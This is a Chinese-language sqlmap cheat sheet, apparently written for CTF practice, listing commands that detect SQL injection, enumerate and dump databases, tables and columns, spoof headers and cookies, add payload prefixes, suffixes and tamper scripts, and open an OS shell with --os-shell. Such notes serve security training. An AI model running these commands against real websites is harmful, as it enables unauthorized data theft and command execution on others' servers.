sqlmap


常用方法

  1. -u 找注入点并检测:
sqlmap –u "url"
  1. --dbs 显示数据库:
sqlmap –u "链接" --dbs
  1. --tables 显示表:
sqlmap –u "链接" –D 数据库 --tables
  1. --columns 显示表中字段:
sqlmap –u "链接" –D 数据库 –T 表名 --columns
  1. --dump 显示内容:
sqlmap –u "链接" –D 数据库 –T 表名 –C 字段 --dump
  1. 和他们全爆了:
sqlmap -u "url" --dump --batch
  1. 还有一些方法
# 爆什么都是后面加上batch
sqlmap -u http://url/?id=1 --dbs --batch

进阶方法

  1. --user-agent 指定agent
--user-agent=sqlmap
  1. --referer 绕过referer检查
--referer=baidu.com
  1. --data 调整sqlmap的请求方式, 变为POST请求
--data "id=1"
  1. --method 调整sqlmap的请求方式, 结合--data使用
--method=PUT/POST/GET/DELETE
  1. --cookie 提交cookie数据
--cookie="PHPSESSID=111;ctfshow=111;"
  1. --safe-url 设置在测试目标地址前访问的"安全"链接, 一般和--safe-freq一起使用
--safe-url="" --safe-freq=1
  1. --safe-freq 访问安全链接的次数, 大于0即可

  2. --header 增加额外的HTTP头, 其实可以在这里加cookie

--header=content-type:text/plain
# 或
-H "Coolie:123=123"
  1. --prefix 攻击载荷的前缀
--prefix="')"
  1. --suffix 攻击载荷的后缀
--suffix="#"
  1. --temper 指定攻击载荷的脚本

    主要是自己写脚本: tamper脚本教学

  2. --os-shell 网站中写文件执行系统命令

    直接加上就行

  3. POST请求检测:

    将POST请求抓包保存在txt中, 例如bp.txt, 然后交给sqlmap, 参数直接在后面加即可, 比如--dbs

sqlmap -r bp.txt
  1. --current-db 查看当前使用的数据库

例子

给出一个非常综合的例子:

在bp类工具中是不需要管Content-type的, 但是在sqlmap就需要加上, 原因可能是data本身是按照表单形式发送数据

sqlmap -u "url"
# 不指定--method则默认为POST
--data "id=1"
# 指定请求方式
--method=PUT
# 指定UA头
--user-agent=sqlmap
# 指定来源网址
--referer=ctf.show
# 指定额外的http头
--header=content-type:text/plain
# 指定cookie
--cookie="1"
# 指定先访问的"安全链接"
--safe-url="url"
# 指定访问"安全链接"的次数
--safe-freq=1
# 指定payload前缀
--prefix="')"
# 指定payload后缀
--suffix="#"
# 指定使用的脚本
--tamper=space2comment
# 给sqlmap整个包
-r bp.txt
# 后面再爆点什么就可以了